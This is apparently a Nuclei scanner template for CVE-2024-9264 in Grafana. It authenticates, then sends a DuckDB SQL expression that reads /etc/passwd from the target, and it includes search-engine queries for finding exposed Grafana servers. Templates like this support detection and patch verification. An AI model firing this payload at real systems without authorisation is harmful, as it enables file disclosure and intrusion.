CVE-2024-9264: Grafana Post-Auth DuckDB - SQL Injection To File Read

id: CVE-2024-9264

info:
  name: Grafana Post-Auth DuckDB - SQL Injection To File Read
  author: princechaddha
  severity: critical
  description: |
    The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://x.com/nol_tech/status/1847639874909749443
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9264
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2024-9264
    cwe-id: CWE-94
    epss-score: 0.92233
    epss-percentile: 0.99706
  metadata:
    max-request: 2
    vendor: grafana
    product: grafana
    shodan-query:
      - http.title:"grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
    fofa-query:
      - app="grafana"
      - title="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2024,grafana,sqli,lfr,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        content-type: application/json

        {"user":"{{username}}","password":"{{password}}"}

    matchers:
      - type: word
        part: header
        words:
          - "grafana_session"
        internal: true

  - raw:
      - |
        POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "from": "1729313027261",
          "queries": [
            {
              "datasource": {
                "name": "Expression",
                "type": "__expr__",
                "uid": "__expr__"
              },
              "expression": "SELECT content FROM read_blob('/etc/passwd')",
              "hide": false,
              "refId": "B",
              "type": "sql",
              "window": ""
            }
          ],
          "to": "1729334627261"
        }

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:"

      - type: word
        part: body
        words:
          - '"data":{'
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